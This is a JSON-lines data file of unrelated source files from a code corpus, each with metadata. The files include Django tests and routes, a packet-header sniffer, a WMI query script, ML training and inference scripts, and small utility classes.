+{"seq_id":"5357145","text":"# -*- coding: utf-8 -*-\n\n\"\"\"\n\nEdit this file and\nWrite your owdn code!\n\n\"\"\"\n\n# Imports\nimport abc\nfrom commons.logs import get_logger\nfrom commons.meta import Meta\nfrom restapi.resources.services.detect import services as internal_services\n\n# Logs\nlogger = get_logger(__name__)\n\n# for service, myclass in internal_services.items():\n#     myclass(check_connection=True)\n#     logger.debug(\"Enabled service %s\" % myclass)\n\n\n# your class\nclass Training(metaclass=abc.ABCMeta):\n    \"\"\" Your code \"\"\"\n\n    _irods = None\n    _graph = None\n    _meta = Meta()\n\n    def __init__(self):\n        super(Training, self).__init__()\n\n        # iRODS/B2SAFE instance\n        obj = internal_services.get('irods')\n        self._irods = obj().get_instance(user='guest')\n\n        # GraphDB/neo4j instance\n        obj = internal_services.get('neo4j')\n        self._graph = obj().get_instance(use_models=False)\n\n        # GraphDB training models\n        module = self._meta.get_module_from_string('training.models')\n        models_dict = self._meta.get_new_classes_from_module(module)\n        models = list(models_dict.values())\n        self._graph.inject_models(models)\n\n        self.run()\n\n    @abc.abstractmethod\n    def run(self):\n        return\n","sub_path":"training/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":1228,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"27"}
+{"seq_id":"478752443","text":"import json\nfrom http import HTTPStatus\nimport pytest\nfrom django.utils import timezone\n\nfrom account.models import Account\nfrom feed.models import FeedPost\n\n\n@pytest.fixture(scope=\"module\")\ndef request_url():\n    return \"/api/feed/1/\"\n\n\n@pytest.fixture(autouse=True)\ndef setup_feed():\n    user1 = Account.objects.create(\n        id=1,\n        username=\"test1\",\n        email=\"test1@test.com\",\n        first_name=\"test\",\n        last_name=\"test\",\n    )\n\n    user1.set_password(\"testtest2\")\n    user1.save()\n\n    user2 = Account.objects.create(\n        id=2,\n        username=\"test2\",\n        email=\"test2@test.com\",\n        first_name=\"test\",\n        last_name=\"test\",\n    )\n\n    user2.set_password(\"testtest2\")\n    user2.save()\n\n    FeedPost.objects.create(\n        id=1, creator=user1, content=\"Test User 1\", created_at=timezone.now()\n    )\n\n    FeedPost.objects.create(\n        id=2, creator=user2, content=\"Test User 1\", created_at=timezone.now()\n    )\n\n\n@pytest.fixture\ndef auth_user1():\n    return Account.objects.get(id=1)\n\n\n@pytest.fixture\ndef auth_user2():\n    return Account.objects.get(id=2)\n\n\n@pytest.mark.django_db\ndef test_success(api_client, request_url, auth_user1):\n    api_client.force_authenticate(user=auth_user1)\n\n    response = api_client.delete(request_url)\n\n    assert response.status_code == HTTPStatus.NO_CONTENT\n\n\n@pytest.mark.django_db\ndef test_delete_other_post(api_client, request_url, auth_user1):\n    api_client.force_authenticate(user=auth_user1)\n\n    response = api_client.delete(\"/api/feed/2/\")\n\n    assert response.status_code == HTTPStatus.FORBIDDEN\n\n\n@pytest.mark.django_db\ndef test_delete_not_found(api_client, request_url, auth_user1):\n    api_client.force_authenticate(user=auth_user1)\n\n    response = api_client.delete(\"/api/feed/3333/\")\n\n    assert response.status_code == HTTPStatus.NOT_FOUND\n","sub_path":"social_network/tests/component/feed/test_delete.py","file_name":"test_delete.py","file_ext":"py","file_size_in_byte":1837,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"27"}
+{"seq_id":"644974855","text":"from symbolic._lowlevel import ffi, lib\nfrom symbolic.utils import encode_str, decode_str, rustcall\n\n\n__all__ = [\"demangle_name\"]\n\n\ndef demangle_name(symbol, lang=None, no_args=False):\n    \"\"\"Demangles a symbol.\"\"\"\n    func = lib.symbolic_demangle_no_args if no_args else lib.symbolic_demangle\n    lang_str = encode_str(lang) if lang else ffi.NULL\n\n    demangled = rustcall(func, encode_str(symbol), lang_str)\n    return decode_str(demangled, free=True)\n","sub_path":"py/symbolic/demangle.py","file_name":"demangle.py","file_ext":"py","file_size_in_byte":454,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"27"}
+{"seq_id":"161310706","text":"import sys\r\nfrom win32com.client import Dispatch\r\n\r\nfrom fun import *\r\nfrom var import *\r\n\r\nclass wmi:\r\n\r\n    def __init__(self):\r\n        for id,i in enumerate(sys.argv):\r\n            if id & 1:\r\n                WOption['Main'][i][WVal]=sys.argv[id+1]\r\n        self.sWbemLocator = Dispatch('WbemScripting.SWbemLocator')\r\n        self.sWbemServices = self.sWbemLocator.ConnectServer(**WChg('Main'))\r\n\r\n    def work(self):\r\n        pass\r\n\r\n    def ExecQuery(self):\r\n        WPrint('ExecQuery')\r\n        WExecQuery(self.sWbemServices)\r\n\r\nif __name__ == '__main__':\r\n    while True:\r\n        try:\r\n            WPrint('Main')\r\n            w = wmi()\r\n        except Exception as e:\r\n            print('Something error!\\n')\r\n            exit()\r\n        else:\r\n            print('Login as {0}@\\\\\\\\{1}\\\\{2} success!\\n'.format(WOption['Main']['-u'][WVal], WOption['Main']['-s'][WVal], WOption['Main']['-n'][WVal]))\r\n\r\n        try:\r\n            w.ExecQuery()\r\n        except KeyboardInterrupt as e:\r\n            print('bye')\r\n            exit()\r\n        except Exception as e:\r\n            print('ERROR:{0}\\n'.format(e))\r\n\r\n# main -s 172.24.66.150 -n /root/cimv2 -u pc -p `\r\n\r\n# select * from win32_process","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1196,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"116402396","text":"import numpy as np\r\nfrom PIL import Image\r\nimport torch\r\nfrom torchvision import transforms\r\n\r\nfrom cycle_gan_model import Generator\r\n\r\n\r\n\r\ndef fast_transgender(net, img):\r\n    '''\r\n    :param img: PIL.Image\r\n    :return im: np.array, float 0~1, image after the network\r\n    '''\r\n    assert isinstance(img, Image.Image), 'fast_transgender only support PIL.Image'\r\n    assert img.height%2 == 0 and img.width%2 == 0, 'img size should be even'\r\n\r\n    # define preprocessing\r\n    h, w = img.height, img.width\r\n    pre_transform = transforms.Compose([\r\n        transforms.Pad(padding=(w%4//2,h%4//2), padding_mode='symmetric'),\r\n        transforms.ToTensor(),\r\n        transforms.Normalize((0.5,0.5,0.5), (0.5,0.5,0.5))\r\n    ])\r\n\r\n    # apply preprocessing\r\n    inpu = pre_transform(img).cuda()\r\n    inpu = inpu.view(1,3,inpu.shape[1],inpu.shape[2])\r\n\r\n    # feed to network\r\n    outpu = net(inpu).squeeze().permute(1,2,0).cpu()\r\n\r\n    # denormalize the output image\r\n    im = 0.5*(outpu.data.numpy() + 1.0)\r\n\r\n    return im\r\n\r\n\r\n\r\ndef slow_transgender(img, direction='men2women'):\r\n    '''\r\n    A slow implementation of men2women, women2men\r\n\r\n    :param img: PIL.Image or np.array, Hight*Width*3 Channel\r\n    :param derection: str, 'men2women' or 'women2men'\r\n\r\n    :return im: np.array, float 0~1, image after the network\r\n    '''\r\n    assert direction=='men2women' or direction=='women2men', 'invalid direction'\r\n    assert isinstance(img, (np.ndarray,Image.Image) )\r\n\r\n    # convert np.array to PIL.Image\r\n    if isinstance(img, np.ndarray):\r\n        if 'float' in img.dtype.name:\r\n            assert img.max() <= 1 and img.min() >= 0, 'float img data out of 0~1'\r\n            img = (img*255).astype('uint8')\r\n        elif 'uint8' in img.dtype.name:\r\n            pass\r\n        else:\r\n            raise Exception('invalid img dtype: should be float or uint8')\r\n        img = Image.fromarray(img)\r\n    \r\n    # check if the image.size can be divided by 2\r\n    assert img.height%2 == 0 and img.width%2 == 0, 'img size should be even'\r\n\r\n    # ---------------------------begin prediction---------------------------\r\n    # men to women model path\r\n    M2W_path = 'netG_men2women_Apr24.pth'\r\n    # women to men model path\r\n    W2M_path = 'netG_women2men_Apr24.pth'\r\n\r\n    # initialize torch, require GPU\r\n    torch.cuda.set_device(0)\r\n    torch.backends.cudnn.benchmark = True\r\n\r\n    # build model, load weights, set to evaluation mode\r\n    G = Generator(input_nc=3,output_nc=3).cuda()\r\n    if direction=='men2women':\r\n        G.load_state_dict(torch.load(M2W_path))\r\n    elif direction=='women2men':\r\n        G.load_state_dict(torch.load(W2M_path))\r\n    G.eval()\r\n\r\n    # forward predict\r\n    im = fast_transgender(G, img)\r\n\r\n    return im\r\n\r\n","sub_path":"min2run/API.py","file_name":"API.py","file_ext":"py","file_size_in_byte":2737,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"581958501","text":"from Warehouse.models import StockSummary\nfrom Warehouse.models import StockTakeing\nfrom Warehouse.models import Warehouse\nfrom Warehouse.models import StockTransactions, StockTransactionType\nfrom Stockitems.models import Stockitems\nfrom Warehouse.stockmanagement.stocktakeinglist import StockTakeingList\nfrom Warehouse.stockmanagement.stockupdater import StockUpdater\n\nclass StockTakeingProcessor():\n    company = None\n    username = None \n        \n    def __init__(self, username, company):\n        self.company = company\n        self.username = username    \n        \n    def import_stocktakeing(self, counted_list):\n        stocktakeingid = self.create_stocktaking_list()\n        if stocktakeingid is None:\n            return False\n        if self.import_stocktakeing_list(counted_list, stocktakeingid) is False:\n            return False\n        if self.update_stock(stocktakeingid) is False:\n            return False\n\n        return True\n\n\n    def update_stock(self, stocktakeingid):\n        stocktaking_list = StockTakeing.objects.filter(\n            stocktakeingid=stocktakeingid, closed=False, \n            tobook=True, company=self.company)  \t\n        type=StockTransactionType.objects.get(type=10)\n        stockupdater = StockUpdater(self.username, self.company)\n        for stocktaking in stocktaking_list:\t    \n            quantity_to_book = stocktaking.countedquantity - stocktaking.quantity\t\t\n            result = stockupdater.update_stock(\n                type, \n                stocktaking.warehouse, \n                stocktaking.stockitem, \n                quantity_to_book)\t    \n            if result is False:\n                return False\t\t    \n            stocktaking.closed = True\n            stocktaking.save()\n\n        return True\n\n    def create_stocktaking_list(self):\n        stocktakeingid = StockTakeingList(self.username, self.company).create_stocktaking_list()  \n        return stocktakeingid\n\n    def import_stocktakeing_list(self, counted_list, stocktakeingid):     \n        self.set_counted_quantity(counted_list, stocktakeingid)        \n\n  \n    def set_counted_quantity(self, counted_list, stocktakeingid):\n        try:\n            for counted in counted_list:\n                warehouse = self.get_warehouse(counted)\n                stockitem = self.get_stockitem(counted)\n                stocktakeing, created = StockTakeing.objects.get_or_create(\n                    stocktakeingid=stocktakeingid, \n                    warehouse=warehouse,\n                    stockitem=stockitem,\n                    company=self.company)\n                stocktakeing.countedquantity = counted.get('quantity')\n                stocktakeing.tobook = True\n                stocktakeing.save()      \n        except:\n            return False\t    \n        return True\t    \n\n    def get_warehouse(self, warehouse):\n        warehouseid = warehouse.get('warehouse').strip()\n        if not len(warehouseid) > 1:\n            warehouseid = 'Default'\n        return Warehouse.objects.get_or_create(warehouse = warehouseid, company=self.company)\n\n    def get_stockitem(self, stockitem):\n        stockitem_code = stockitem.get('stockitem')\n        stockitem_code.strip()\n        return Stockitems.objects.get_or_create_lager(stockitem_code, self.company)    ","sub_path":"Warehouse/stockmanagement/stocktakeingprocessor.py","file_name":"stocktakeingprocessor.py","file_ext":"py","file_size_in_byte":3261,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"589476988","text":"import numpy as np\nimport nibabel as nib\nimport os\nimport sys\nfrom matplotlib.pyplot import imshow\nfrom os.path import join\nfrom glob import glob\nimport train\nimport predict_mad as predict\nimport cv2\nsys.path.append('/data1/mike/src/tools')\nimport imgtools as imt\nimport loader\nfrom utils import mkdir\nimport shutil\n# Version 0.01\n\n# Variables for input and output paths\nindir   = '/data1/mike/breast/all/sorted'\nout  = '/data/mike/breast/all/pcrpatch65npy9'\ntitle = 'madabushi ispy 0.000001'\n\n# Variables for Loading and Preprocessing NIIs\nshape=256\ncrop=False\nchannels=3\nclasses=2\ntest = 0.2\n\n# Variables for Training\nepochs = '50'\nlr = '0.000001'\ngpunum = '1'\nval_percent = '0.2'\nstats = True\nbatch = '500'\ngoal = 'classification'\narch = False\n\n# Variables for Prediction\ninimg   = join(indir,'img')\ninclass = join(indir,'cla')\n# Create output folders\nimg     = join(out,'img')\ncla     = join(out,'cla')\ntstimg  = join(out,'tstimg')\ntstcla  = join(out,'tstcla')\npred    = join(out,'clapred')\nresults = join(out,'results.npy')\nmkdir(out),mkdir(img),mkdir(cla), mkdir(tstimg),mkdir(tstcla), mkdir(pred)\n\n# Load\nloader.loadpatches(indir, out, inimg, inclass,test=test, shape=shape, crop=crop, channels=channels, classes=classes)\n\n## Train\nargs = train.get_args(debug=True, args=['-b', batch, '-i', img, '-m', cla, '-k', out, '-l' ,lr , '-c', False , '-e', epochs, '-n', gpunum, '-v', val_percent,'-t', title, '-g',goal, '-a', arch])\ntrain.main(args)\n\n# Predict\nfor n in range(9,int(epochs)):\n    model= os.path.join(out,'CP' + str(int(n)) + '.pth')\n    in_fn_list = glob(os.path.join(tstimg,'*.npy'))\n    if len(in_fn_list)==0:\n        in_fn_list = glob(os.path.join(tstimg, '*.png'))\n    predargs = predict.get_args(args=['-m', model, '-i', in_fn_list, '-o', pred, '-c', tstcla])\n    predict.main(predargs)","sub_path":"main_madabushi.py","file_name":"main_madabushi.py","file_ext":"py","file_size_in_byte":1807,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"7627248","text":"\nfrom django.urls import path\nfrom . views import (\npost_create, post_update,\npost_delete, post_detail,\npost_publish,\npost_list, post_list_all,\npost_republish, post_take_down,\n) #PostDeleteView, PostDetailView, PostUpdateView\n\n\napp_name = 'post'\n\nurlpatterns = [\n    path('create/', post_create, name='post_create'),\n    path('update/<int:post_id>/', post_update, name='post_update'),\n    path('delete/<int:post_id>/', post_delete, name='post_delete'),\n    path('post_list_all/', post_list_all, name='post_list_all'),\n    path('<slug:slug>/', post_detail, name='post_detail'),\n\n    path('publish/<int:post_id>/', post_publish, name='post_publish'),\n    path('post_republish/<int:post_id>/', post_republish, name='post_republish'),\n    path('post_take_down/<int:post_id>/', post_take_down, name='post_take_down'),\n ]\n","sub_path":"my_app/post/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":816,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"198306332","text":"from socket import *\nfrom random import randint\nimport threading \nimport subprocess\nimport time\nimport copy\n\n# first broadcast to check all neighbors \ndef createSocket():\n\t# create a socket object\n\ts = socket(AF_INET, SOCK_DGRAM)\n\ts.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)\n\ts.setsockopt(SOL_SOCKET, SO_BROADCAST, 1)\n\treturn s\n\ndef broadcastInit(port):\n\ts = createSocket()\n\tdata = b\"Init\"\t\n\t# Broadcast this machine's IP\n\ts.sendto(data, ('<broadcast>', port))\n\t\t\n\treturn s\t\n\ndef broadcastClose(s):\n\ts.close()\n\n\ndef execute(function1, args1, function2, args2):\n\t# starting broadcast receriver\n\tthread1 = threading.Thread(target = function1, args = args1)\n\tthread1.daemon = True\n\tthread1.start()\n\ttime.sleep(2)\n\t# getting neighbor membership list\n\ts=broadcastInit(port=9999)\n\tbroadcastClose(s)\n\ttime.sleep(5)\n\t\n\tthread2 = threading.Thread(target = function2, args = args2)\n\tthread2.daemon = True\n\tthread2.start()\n\tthread2.join()\n\ttime.sleep(2)\n\n","sub_path":"broadcast.py","file_name":"broadcast.py","file_ext":"py","file_size_in_byte":942,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"308921329","text":"#packet_sniffer in python3\nimport struct\nimport socket\n\ntab1='\\t-'\ntab2='\\t\\t-'\ntab3='\\t\\t\\t-'\ntab4='\\t\\t\\t\\t-'\n\ndef main():\n    s=socket.socket(socket.AF_PACKET,socket.SOCK_RAW,socket.ntohs(3))\n    while True:\n        raw_data,addr=s.recvfrom(65535)\n        dest_mac,source_mac,proto,data=ether_frame(raw_data)\n        print ('\\nEthernet Frame')\n        print (tab1 +'Destination mac: ' + str(dest_mac) + ' Source mac: ' + str(source_mac) + ' protocol:' + str(proto))\n        if proto == 8:\n            version,ihl,ttl,protocol,src,dest,ip_data = ipv4_frame(data)\n            print(tab1 + 'IPV4_frame :')\n            print(tab2 + 'version : {} time_to_live : {} header length : {} '.format(version,ttl,ihl))\n            print(tab2 + 'Protocol : {} source ip : {} destination ip : {}'.format(protocol,src,dest))\n            if protocol == 1:\n                 typ,code,checksum,icmp_data = icmp_frame(ip_data)\n                 print(tab2 +'ICMP_frame :')\n                 print(tab3 + 'icmp_type :'+str(typ)+' Code :'+str(code)+' Checksum :'+str(checksum))\n            elif protocol == 17:\n                 src_port,dest_port,udp_l,udp_data = udp_frame(ip_data)\n                 print(tab2 + 'UDP_frame :')\n                 print(tab3 + 'source port : {} dest_port : {} length : {}'.format(src_port,dest_port,udp_l))\n            elif protocol == 6 :\n                 src_port,dest_port,seq_no,ack_no,urg,ack,psh,rst,syn,fin,tcp_data = tcp_frame(ip_data)\n                 print(tab2 + 'TCP_frame :')\n                 print(tab3 + 'source port : {} dest_port : {}'.format(src_port,dest_port))\n                 print(tab3 + 'sequence_no : {} acknowledgement_no : {}'.format(seq_no,ack_no))\n                 print(tab3 + 'flags :')\n                 print(tab4 + 'Urg_flag : ' +str(urg) +' Ack_flag : '+str(ack)+ ' Psh_flag : '+str(psh))\n                 print(tab4 + 'Reset_flag : '+str(rst) + ' Syn_flag : '+str(syn) + ' fin_flag : '+str(fin))\n            else :\n                 #proper(tab3,data)\n                 pass\n        \n        else:\n            #proper(tab2,data)\n            pass\n\n#Unpacking Ethernet_frame\ndef ether_frame(data):\n    dest_mac,source_mac,proto=struct.unpack('! 6s 6s H',data[:14])\n    #print (dest_mac)\n    return format_function(dest_mac),format_function(source_mac),socket.htons(proto),data[14:]\n\n#function to format mac adresses properly (eg:- AA:BB:CC:DD:EE:FF)\ndef format_function(mac):\n    new_mac=map('{:02x}'.format,mac)\n    return ':'.join(new_mac).upper()\n\n#Unpacking IPV4_frame\ndef ipv4_frame(data):\n    version_ihl=data[0]\n    version= version_ihl >> 4\n    ihl= (version_ihl & 15) * 5\n    ttl,proto,src,dest =struct.unpack('! 8x B B 2x 4s 4s ',data[:20])\n    return version,ihl,ttl,proto,ip_format(src),ip_format(dest),data[ihl:]\n\n#function to properly format ipv4 address (eg:- 127.0.0.4)\ndef ip_format(addr):\n    new_addr=map(str,addr)\n    return '.'.join(new_addr)\n\n#Unpacking ICMP_frame\ndef icmp_frame(data):\n    typ,code,checksum=struct.unpack('! B B H',data[:4])\n    return typ,code,checksum,data[4:]\n\n#Unpacking UDP_frame\ndef udp_frame(data):\n    src_port,dest_port,udp_l = struct.unpack('! H H H 2x ',data[:8])\n    return src_port,dest_port,udp_l,data[8:]\n\n#Unpacking TCP_frame\ndef tcp_frame(data):\n    src_port,dest_port,seq_no,ack_no,offset_reserved_flags=struct.unpack('! H H L L H' ,data[:14])\n    offset=offset_reserved_flags >> 12\n    urg = (offset_reserved_flags & 32) >> 5\n    ack = (offset_reserved_flags & 16) >> 4\n    psh = (offset_reserved_flags & 8) >> 3\n    rst = (offset_reserved_flags & 4) >> 2\n    syn = (offset_reserved_flags & 2) >> 1\n    fin = offset_reserved_flags & 1\n    return src_port,dest_port,seq_no,ack_no,urg,ack,psh,rst,syn,fin,data[offset:]\n\n#function for proper formatting of remaning data\n\nmain()\n\n","sub_path":"packet_sniffer.py","file_name":"packet_sniffer.py","file_ext":"py","file_size_in_byte":3775,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"69860249","text":"__author__ = 'carlo'\n\nclass Car:\n    def __init__(self, name, fuel, fuel_price, fuel_efficiency, kw, euro_type):\n        #the name of the car\n        self.name = name\n\n        #the kind of fuel e.g: metan, gpl, gasoline...\n        self.fuel = fuel\n\n        #the price of fuel, the unit is 1 liter\n        self.fuel_price = fuel_price\n\n        #how much km every liter of fuel (e.g. 10 means that with one liter of fuel the car drive for 10km)\n        self.fuel_efficiency = fuel_efficiency\n\n        #the power\n        self.kw = kw\n\n        #category of euro\n        self.euro_type = euro_type\n\n    #compute bollo for the cars that have kw less than 100kw\n    def bollo(self):\n        if self.euro_type == 0:\n            bollo = 3.00 * self.kw\n            return bollo\n\n        elif self.euro_type == 1:\n            bollo = 2.90 * self.kw\n            return bollo\n\n        elif self.euro_type == 2:\n            bollo = 2.80 * self.kw\n            return bollo\n\n        elif self.euro_type == 3:\n            bollo = 2.70 * self.kw\n            return bollo\n\n        elif self.euro_type == 4:\n            bollo = 2.60 * self.kw\n            return bollo\n\n        elif self.euro_type == 5:\n            bollo = 2.58 * self.kw\n            return bollo\n\n        elif self.euro_type == 6:\n            bollo = 2.58 * self.kw\n            return bollo\n\n\n\n    def fuelYearCost(self, kmYear):\n        fuel_cost_for_year = (kmYear/self.fuel_efficiency)*self.fuel_price\n        return fuel_cost_for_year\n\n","sub_path":"Car.py","file_name":"Car.py","file_ext":"py","file_size_in_byte":1487,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"442414289","text":"class Node:\n    def __init__(self, data):\n        self.data = data\n        self.next = None\n\n\nclass Queue:\n    def __init__(self):\n        self.bg = None\n        self.en = None\n        self.qSize = 0\n\n    def push(self, item):\n        node = Node(item)\n        if self.en != None:\n            self.en.next = node\n        else:\n            self.bg = node\n\n        self.en = node\n        self.qSize +=1\n        print(\"ok\")\n\n    def isEmpty(self):\n        return self.bg == None\n\n    def pop(self):\n        if self.isEmpty():\n            # raise RuntimeError(\"pop: Empty Queue\")\n            print(\"error\")\n            return\n\n        first = self.bg.data\n\n        self.bg = self.bg.next\n        if self.bg == None:\n            self.en = None\n\n        self.qSize -=1\n        print(first)\n        return first\n\n\n    def front(self):\n        if self.isEmpty():\n            # raise RuntimeError(\"pop: Empty Queue\")\n            print(\"error\")\n            return\n\n        first = self.bg.data\n\n        print(first)\n        return first\n\n\n    def size(self):\n        print(self.qSize)\n        return self.qSize\n\n    def clear(self):\n        self.bg = None\n        self.en = None\n        self.qSize = 0\n\n        print(\"ok\")\n\n\n\nwith open(\"input.txt\") as f:\n    queue = Queue()\n    while True:\n        line = f.readline().strip()\n        if line == \"exit\":\n            print(\"bye\")\n            break\n\n        commands = line.split()\n        command = commands[0]\n        if command == \"push\":\n            queue.push(commands[1])\n        elif command == \"pop\":\n            queue.pop()\n        elif command == \"front\":\n            queue.front()\n        elif command == \"size\":\n            queue.size()\n        elif command == \"clear\":\n            queue.clear()\n\n","sub_path":"labs/L14/task2/t1.py","file_name":"t1.py","file_ext":"py","file_size_in_byte":1747,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"456891381","text":"# -*- coding: utf-8 -*-\n\"\"\"Kindi configuration\n\nSettings for how kindi database is stored.\n\nOptions:\n    security_level: LOW, MEDIUM, or HIGH\n    storage: FILE, DATABASE\n\"\"\"\n\nimport configparser, os, appdirs\nconfigdir = appdirs.AppDirs('kindi').user_config_dir\nconfigFiles = [\n    os.path.expanduser('~/.incommunicados.cfg'),\n    os.path.join(configdir, 'kindi.cfg')\n]\n\n# Check existance of configdir\nif not os.path.exists(configdir):\n    os.makedirs(configdir, mode=0o700)\n    print('created kindi configdir', configdir)\n\n# Default configuration\nconfig = configparser.ConfigParser()\nconfig['kindi'] = {\n    'security_level': os.environ.get('KINDI_SECURITY_LEVEL','LOW'), # options: LOW, MEDIUM, HIGH\n    'storage': os.environ.get('KINDI_STORAGE','DATABASE') # options: FILE, DATABASE\n}\n\n# Read configuration files\nconfig.read(configFiles)\n","sub_path":"kindi/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":840,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"163308215","text":"#using python3\n\ndef lcm_compute(a,b):\n        if (b==0):\n                return a\n        else:\n                a_dash = a % b\n                ans = lcm_compute(b,a_dash)\n                return ans\n\n\n\nip = input() #change for python3\ntoken = ip.split()\nnum1 = int(token[0])\nnum2 = int(token[1])\nprint (int(num1*num2)//lcm_compute(num1,num2)) #// means to discard the remainder\n\n#5/2 = 2.5 and 5//2 = 2\n#here // is used because the product of num1 and num2 is large and produces unexpected results\n\n","sub_path":"coursera/Assignment2/lcm_q4.py","file_name":"lcm_q4.py","file_ext":"py","file_size_in_byte":498,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"495869175","text":"# To support both python 2 and python 3\nfrom __future__ import division, print_function, unicode_literals\n\n# Common imports\nimport pandas as pd\nfrom sklearn.externals import joblib\nimport os\nimport numpy as np\nfrom sklearn.metrics import f1_score, precision_score, recall_score\nfrom sklearn.ensemble import VotingClassifier\n\n####################### Data LOADING ########################################\n\nHOUSING_PATH = os.path.join(\"datasets\", \"fb\")\nHOUSING_PATH2 = os.path.join(\"datasets\", \"tw\")\n\n\n\n#CLEANER\ndef clean_dataset(df):\n    assert isinstance(df, pd.DataFrame), \"df needs to be a pd.DataFrame\"\n    df.dropna(inplace=True)\n    indices_to_keep = ~df.isin([np.nan, np.inf, -np.inf]).any(1)\n    return df[indices_to_keep].astype(np.float64)\n\n#loading data\ndef load_data_test_emb(housing_path=HOUSING_PATH2):\n    csv_path = os.path.join(housing_path, \"training_emb_and_messages.csv\")\n    return pd.read_csv(csv_path)\n\n#load embeddings training def load_data(housing_path=HOUSING_PATH):\ndef load_data ( housing_path=HOUSING_PATH ):\n    csv_path = os.path.join(housing_path, \"embeddingstraining.csv\")\n    return pd.read_csv(csv_path)\n\nfb = clean_dataset(load_data())\nX_training_embeddings = fb.drop(\"class\", axis=1).drop(\"link\", axis=1)\ny = fb[\"class\"]\n\n\n#LOAD TEST embeddings\ntest_embeddings = load_data_test_emb()\nX_test_embeddings = test_embeddings.drop(\"link\", axis=1).drop(\"message\", axis=1).drop(\"class\", axis=1)\nX_test_messages = test_embeddings[\"message\"]\nlabels = test_embeddings[\"link\"]\ny2 = test_embeddings[\"class\"]\n\n\n#LOAD training TESTUALE per tfIdf\ndef load_data_text(housing_path=HOUSING_PATH):\n    csv_path = os.path.join(housing_path, \"textTraining.csv\")\n    return pd.read_csv(csv_path)\n\nfb2 = (load_data_text())\nX2 = fb2[\"message\"]\n\n\n\n###########################  TFIDF ####################################\n\nfrom sklearn.feature_extraction.text import TfidfVectorizer\nimport scipy.sparse as sp\n\n\ntf = TfidfVectorizer(tokenizer=lambda doc: doc,lowercase=True, analyzer='word', stop_words = None, ngram_range = [1, 3])\n #mydoclist is a list having my **Text** which im reading from a CSV\n\nX_tf = tf.fit_transform(X2)\n\nX_test_messages_tf = tf.transform(X_test_messages)\nX_embeddings_tf_test = sp.hstack((X_test_embeddings, X_test_messages_tf))\n\n###########################################################################\n#Transform training for VotingClassifier fitting\n\nx_embeddings_tf_train = sp.hstack((X_training_embeddings, X_tf))\n\n\n###########################################################################\n\nmlp_clf = joblib.load(\"final_models/FB/01.MLP_embeddingsText.pkl\")\nsvm_clf = joblib.load(\"final_models/FB/02.SVM_embeddingsText.pkl\")\nrand_clf = joblib.load(\"final_models/FB/03.RandomForest_embeddingsText.pkl\")\n\nnamed_estimators = [\n    (\"mlp_clf\", mlp_clf),\n    (\"svm_clf\", svm_clf),\n    (\"rand_clf\" , rand_clf)\n]\n\n\nvoting_clf = joblib.load(\"final_models/FB/00.VotingClassifier.pkl\") #VotingClassifier(named_estimators)\n\n\n#FIT voting classifier on training\n#voting_clf.fit(x_embeddings_tf_train, y)\n\n#Save the model\n#joblib.dump(voting_clf, \"00.VotingClassifier.pkl\")\n\n#Test on training\ny_pred = voting_clf.predict(x_embeddings_tf_train)\nsc = f1_score(y_pred, y)\n\nprint(\"F1 score on training voting\",sc)\n\ny_pred_test = voting_clf.predict(X_embeddings_tf_test)\nsc = f1_score(y_pred_test, y2)\n\nprint(\"F1 score on tw training\",sc)\n\n#file = open(\"final_models/TW/testfile_EMB_TEXT.csv\",\"w\")\n\n#for index, item in enumerate(y_pred_test):\n#    print(index, labels[index])\n#    print ( index , item )\n#    file.write(str(labels[index]) +\",\"+str(int(item))+\"\\n\")\n\n#file.close()\n\n","sub_path":"haspeede2018/Classifiers/00.Cha_FB_EMB_TEXT.py","file_name":"00.Cha_FB_EMB_TEXT.py","file_ext":"py","file_size_in_byte":3606,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"201071839","text":"import json\r\nimport pandas as pd\r\nimport os\r\n\r\nfolders = os.listdir(\"Candidate Profile Data\")\r\n\r\nfor file in folders:\r\n\r\n\twith open('Cleaned/'+file,encoding='utf8') as data_file:    \r\n\t\tjsondata = json.load(data_file)\r\n\tusable_dataframe = pd.io.json.json_normalize(jsondata)\r\n\t\r\n\ta = file[0:len(file)-4]\r\n\tusable_dataframe.to_csv('CSV/'+a+'.csv')","sub_path":"submission5/jsonToCSV.py","file_name":"jsonToCSV.py","file_ext":"py","file_size_in_byte":346,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
